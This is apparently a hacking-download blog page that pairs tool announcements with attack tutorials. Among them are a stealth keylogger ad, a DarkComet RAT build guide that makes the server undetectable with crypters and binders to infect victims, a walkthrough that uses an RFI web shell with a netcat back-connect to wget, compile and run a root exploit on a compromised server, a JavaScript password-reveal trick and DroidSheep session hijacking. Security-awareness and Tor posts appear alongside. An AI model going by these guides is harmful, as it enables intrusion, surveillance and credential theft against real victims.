Award Keylogger Pro 3.0 (x86/x64) | 9.5 MB | Uploaded |

Award Keylogger Pro 3.0 (x86/x64) | 9.5 MB
Award Keylogger allows you to monitor all users' activity on any computers in real time and record each computer's usage history. Award Keylogger makes it easy to view, in real time, the screenshots of the any computers, all typed keystrokes, visited Web sites, used programs. You can view a list of running processes and terminate undesirable ones.
Main Features:
• New! Run keylogger as a Windows service
• Easy-to-use, even for beginners
• Absolutely invisible/stealth mode
• Logs accounts and p***words typed in the every application
• Logs message typed in all instant messengers
• Visual surveillance, support screenshots view
• Slide show for screenshots
• Captures the contents behind the asterisks
• Captures mouse clicks
• Logs websites visited
• Captures AOL/AIM/Yahoo/ICQ chats
• Keyword Detection and Notification
• Records contents of p***word protected web pages, including Web Mail messages
• Logs Windows Clipboard
• Sends log by e-mail
• Uploads ALL logs into the separate folders by FTP
• Invisible for the firewall program
• Invisible in the Windows startup list
• Monitors all users of the PC
• User friendly HTML file format for emailed logs
• Invisible in Windows NT/2000/XP Task Manager and Windows 9.x/Me Task List
• Records Windows 9.x/Me/2000/XP/VISTA logon p***words
• Intercepts DOS-box and Java-chat keystrokes
• Supports international keyboards
• External log viewer
• Supports printing of the log
• Optimized for Windows XP
• Exports log to HTML

Award Keylogger Pro 3.0.rar (9,46 MB) - uploaded.net

File Extension Spoofer & Pumper

File Extension Spoofer and File Pumper

This is an amazing program that will change the extension on your files and allow you to pump the size on them. This tool was designed by The Rat Crew.Download Here

Metasploit Pro 4.5.0

Metasploit Pro 4.5.0 Release - Penetration Testing Software

 

Metasploit Pro 4.5.0 delivers completely new capabilities for running full-featured social engineering campaigns as well as significant improvements to the web application scanner. Metasploit Pro users can run sophisticated social engineering campaigns leveraging techniques like phishing and USB drops, watch results in real-time, and present reports containing clear risk analysis and remediation advice for the human attack surface.

Metasploit 4.5.0 includes 95 new exploits, 72 new auxiliary modules, and 13 new post modules over the 4.4.0 release, for a grand total of 180 new modules, all of which are detailed below. In addition, 56 reported bugs were resolved between 4.4.0 and 4.5.0.

Modules that are new since the 2012112801 update (the last update in the 4.4.0 line) includes modules targeting the Tectia SSH server, Metasploit, Nessus, Eaton NSM, Nexpose, Microsoft Windows, SIP, Adobe Indesign, Apple Quicktime, BlazeVideo, and Ektron. They are listed immediately below.

The update for 4.4.0 to 4.5.0 will be published shortly after the release of the 4.5.0 installer, and these release notes will be updated to reflect that update's availability.Dowload Here

Security Awareness Training: Why Every Business Needs It

The need for security awareness training is more important than ever. Every company that plans to stay competitive must make this type of training mandatory for every employee. The reason for a stringent and complete training program and the need for every employee to be aware of security is the surprising direction from which security threats may come. The security threat that companies face comes as much from within as it does from outside corporate spying.

Definition of the Direction of Threats
The threat from outside is usually better understood by company management than the threat from within. The internal threat is not just from unhappy employees. The employee who is unaware and untrained is the biggest threat. Employees who have not undergone security awareness training hurt the company by visiting Internet sites that have active malware. They often respond to emails that are phishing attacks and often keep their login and password information stored in an unprotected manner. Some uninformed employees may never think of the damage they do when discussing company projects in social gatherings, both on company time and outside the confines of the company facilities.
Why the Level of Training Intensity Must Be High
The only way to ensure that employees are not damaging the company, inadvertently or knowingly, is to set up company mandatory security training awareness programs. Every existing employee must be required to take this training when the program is started. New employees should be required to undergo security awareness training before starting their new job. This training should also require successful completion of a test to ensure a working knowledge of this vital topic has been received and understood. Update training should be required on a recurring basis as well.

Training should be much more than an hour or two of classroom training. The company needs its own website that is dedicated to the security awareness of the company. Each employee should receive random hints and reminders by email, and posters on security should be posted in prominent places throughout the company facilities.
In this manner every company can have an increased level of confidence that each employee is knowledgeable of company policies, procedures on the matter of security for any information relating to the personnel, and products or projects of the company. This type of security awareness training is the only way that employees will know, understand and put to use best practices expected by company management.
Getting Started with Security Awareness Training
At the beginning, if the company does not have personnel trained in the curriculum for this training, it may be desirable for select employees to attend outside training in order to learn what is needed. By having the company's own personnel return to oversee this type of training sets the tone about the seriousness of this type of training.

Peter Wendt is a writer from Austin, TX, that has researched a lot on the topic of malware and computer security, and highly recommends this security awareness training program for businesses and employees.

Tutorial to Install TOR ON WINDOWS 7

INSTALL TOR on WINDOWS 7

The Vidalia Bundle for Windows contains Tor, Vidalia (a GUI for Tor), Torbutton (a plugin for Mozilla Firefox), and Polipo (a web proxy) packaged into one bundle, with the four applications pre-configured to work together. Download either the stable or the experimental version of the Vidalia Bundle.

If you have previously installed Tor, Vidalia, or Polipo you can deselect whichever components you do not need to install in the dialog shown below.

After you have completed the installer, the components you selected will automatically be started for you.
Tor comes configured as a client by default. It uses a built-in default configuration file, and most people won't need to change any of the settings. Tor is now installed.
After installing Tor and Polipo, you need to configure your applications to use them. The first step is to set up web browsing.
You should use Tor with Firefox and Torbutton, for best safety. The bundle installs the Torbutton plugin for you. Restart your Firefox, and you're all set:

If you plan to run Firefox on a different computer than Tor, see the FAQ entry for running Tor on a different computer.

To Torify other applications that support HTTP proxies, just point them at Polipo (that is, localhost port 8118). To use SOCKS directly (for instant messaging, Jabber, IRC, etc), you can point your application directly at Tor (localhost port 9050), but see this FAQ entry for why this may be dangerous. For applications that support neither SOCKS nor HTTP, take a look at SocksCap or FreeCap. (FreeCap is free software; SocksCap is proprietary.)
Check to see that Vidalia is running. Vidalia uses a small green onion to indicate Tor is running or a dark onion with a red "X" when Tor is not running. You can start or stop Tor by right-clicking on Vidalia's icon in your system tray and selecting "Start" or "Stop" from the menu as shown below:

Next, you should try using your browser with Tor and make sure that your IP address is being anonymized. Click on the Tor detector and see whether it thinks you're using Tor or not.
If you have a personal firewall that limits your computer's ability to connect to itself, be sure to allow connections from your local applications to local port 8118 and port 9050. If your firewall blocks outgoing connections, punch a hole so it can connect to at least TCP ports 80 and 443.Download Here

JAVA SCRIPT TO HACK PASSWORD

JAVA SCRIPT TO reveal PASSWORDS!!

 

 It s a old trick wil work in old version of Internet Explorer
You see password in '' *********** '' form and want to decrypt it into it's original word form, to do that all you have to do is just copy and paste this script in your url box.
javascript: alert(document.getElementById('Passwd').value);
As you can see the image here, the password i typed  ''yoyo!'' and then i pasted the script in url box(address bar) and pressed enter, so the password showed up!
note :use INTERNET EXPLORER ONLY for this script !

Android SESSION HIJACKING TOOL 'DROIDSHEEP'

SESSION HIJACKING TOOL 'DROIDSHEEP' - TUTORIAL

Session Hijacking refers to an attack in which a hacker temporarily hijacks the ongoing session of the user and he is able to see what the user is doing on his mobile,computer be it accessing facebook,gmail or any other site.

 

Note- Rooted Android is required .
Steps of using :
1.Open the app.
2.Check "ARP-Spoofing" and "Genreic Mode".
3.Click on Start.
4.In some time you will start getting various sessions on the same network of wifi.Click on then see what the person is doing.

Working of Droidsheep : Basically,Droidsheep catches the packets which are send by the device to the router.The packets are received on hackers phone and the hacker further exploits them.Download Here

BeEF-Browser Exploitation Framework

BeEF version 0.4.3.9-alpha

The Browser Exploitation Framework BeEF ( Browser Exploitation Framework) is a powerful penetration testing tool that focuses on the web browser.  Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors.  Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.Download Here

SSLsplit for man-in-the-middle attack

SSLsplit: Tool for man-in-the-middle attacks against SSL/TLS encrypted network connections

SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encryptednetwork connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing.

SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both
IPv4 and IPv6. For SSL and HTTPS connections, SSLsplit generates and signs
forged X509v3 certificates on-the-fly, based on the original server certificate
subject DN and subjectAltName extension. SSLsplit fully supports Server Name
Indication (SNI) and is able to work with RSA, DSA and ECDSA keys and DHE and
ECDHE cipher suites. SSLsplit can also use existing certificates of which the
private key is available, instead of generating forged ones. SSLsplit supports
NULL-prefix CN certificates and can deny OCSP requests in a generic way.


SSLsplit version 0.4.5 released on Nov 07, change logs are

- Add support for 2048 and 4096 bit Diffie-Hellman.
- Fix syslog error messages (issue #6).
- Fix threading issues in daemon mode (issue #5).
- Fix address family check in netfilter NAT lookup (issue #4).
- Fix build on recent glibc systems (issue #2).
- Minor code and build process improvements.Download Here

MulCi Shellcode for Website Hacking

What we need?
-RFI Vulnerable Script
-PHP Shell
-Netcat
-Brains
First of all, we need to get a shell on a site.
For this tutorial i will be using MulCi Shell.
So, once you have it on a site, go to the 'Backdoor Host' tab and forward a port.
Now, go to the 'Back connect' tab and insert the following settings:

1- Your IP Address.
2-The port you forwarded.
Now, go on CMD and type in:cd 'Path To Your Netcat.exe' and then you need to make netcat listen to the port you forwarded.To do this, type:nc -l -n -v -p port
It looked like this for me:
Microsoft Windows XP [Version 5.1.2600]
Copyright 1985-2001 Microsoft Corp.

C:\KroKite>cd C:\

C:\>cd WINDOWS

C:\WINDOWS>nc -l -n -v -p 4444

listening on [any] 4444 ...
Now, when you have netcat listening to the port you forwarded, click 'Connect'.
When your connected, type 'whoami'.You shouldnt have root.
Now, to find an exploit to root the box, you need to know whats the kernel version.To do this, just type 'uname -a'.It should look something like this:

 

Code:
Linux linux1.dmehosting.com 2.6.17-92.1.10.el5PAE #1 SMP Tue Aug 5 0805 EDT 2008 i686
Now, we go on exploit-db.com and we will look for '2.6.17'.

 

Code:
hhttp://www.exploit-db.com/exploits/5092/

Now, we type 'wget http://www.exploit-db.com/exploits/5092/ on the netcat window.

Code:
wget http://xpl_url.com

So the exploit works, you must compile it in the server(gcc) and execute it via exploit(-o).
To do this we type 'gcc 5092 -o
exploit'.

Code:
gcc 5092 -o exploit
5092- After the url path.http://www.site.com/5092.

exploit- Output name.
Now you can execute your exploit by typing './exploit'
Wait for the exploit to finish running and type root again.

It should output in something like this:

Code:
uid=0(root) gid=0(root) groups=500(apache)

This means you have successfully rooted the box

DARKCOMET RAT

100% WORKING SERVER WITH DARKCOMET RAT

RAT or Remote Administration Tool is a tool which helps to administers the system of a person without physical access to the system.This tool is highly used by a hacker and is very efficient.If a hacker is able to get installed a server (which can easily be done) in victims system then entire system of the victim is with the hacker! He can check logs,take screenshots,browse your folders,disable your anti-virus and much more !


RAT is basically a Trojan which has two parts :


Client : It can be considered as King which plays with or manipulates with the server(slave) which he has made.


Server: It can be considered as a Slave which is installed on the host (remote).


So now I'll talk about  how to create a successful Server with one of the Best RAT's available, that is DarkComet (v5.1) which is coded in Delphi XE and Delphi 2007.


So here it goes :




1. Download DarkComet (v5.1 is what I'll use here,but the basic process is same for all version so don't worry)
   http://www.darkcomet-rat.com/
 
2.Now we will start building up the server.exe file.
   Click on the Blue Icon saying "DarkComet", go to "Server module" and choose ''Full editor" option.


You'll get something like this -
 

  Keep a security password if you want to.               
   Click on Random 4-5 times to generate new Mutex and see to it that Active FWB is checked.


2.Another column which you will see there is of PORT . DarkComet uses port 1604 so make sure it is open and forwarded.To know how to forward your port,visit http://portforward.com/ -here you will get all the information about how to forward your port for your type of Modem.

3.Keep the following setting in module startup -
 

 
You can also check ''persistence installation'' if you want to(i recommend it).


 4.Following setting are ideal for Module Shield -
 

 
5.After this all the options may vary from person to person as per your requirement but i recommend to Activate the Offline Keylogger .


6.Compress the server if you want and you are done,click on ''Build the Stub" and a process will take place in which you will be able to see the algorithms and your server.exe is made (name it as per your requirement but keep .EXE intact)
 

 
Your server is Built now ! :)


But now problem arises that how will you send the server to the victim over internet as .EXE files cannot be transferred via facebook,yahoo,gmail or other sites.


So here come crypters and binders into play !
 
Crypters - It is software which is used to crypt your server to make it FUD (Fully Undetectable )


Binders - A binder is software which pumps up the size of your RAT which is usually in Kb's to some Mb's!
You can do this by binding your RAT with some song ,image etc.
 
  
 

UPDATE Joomscan 4.4.2012 Security Scanner

New update joomscan that in its database reaches the number of 623 vulnerability.If you already have “installed” joomscan to do the update:

wget http://web-center.si/joomscan/joomscan.tar.gz 

./joomscan.pl update Joomscan has been compiled for windows, here is the download.Download JoomScan for Windows

The Social-Engineer Toolkit v1.4

Social-Engineer Toolkit v1.4 latest Version !

The Social Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It’s main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed.
Official change log:
Java changed how self signed certificates work. It shows a big UNKNOWN now, modified self sign a bit.
Added the ability to purchase a code signing certificate and sign it automatically. You can either import or create a request.
Fixed a bug in the wifi attack vector where it would not recognize /usr/local/sbin/dnsspoof as a valid path
Fixed a bug in the new backtrack5 to recognize airmon-ng
Added the ability to import your own code signed certificate without having to generate it through SET
Fixed an issue where the web templates would load two java applets on mistake, it now is correct and only loads one
Fixed a bounds exception issue when using the SET interactive shell, it was using pexpect.spawn and was changed to subprocess.Popen instead
Added better import detection and error handling around the python module readline. Older versions of python may not have, if it detects that python-readline is not installed it will disable tab completion
Added a new menu to the main SET interface that is the new verified codesigning certificate menu
Fixed a bug with the SET interactive shell that if you selected a number that was out of the range of shells listed, it would hang. It now throws a proper exception if an invalid number or non-numeric instance is given for input
Added more documentation around the core modules in the SET User_Manual
Updated the SET_User manual to reflect version 1.4
 Download The Social-Engineer Toolkit v1.4 Here

 

CEH-v7 Lab Set-up

CEH-v7 Lab Set-up and Video Tutorials

Download CEH-v7 Here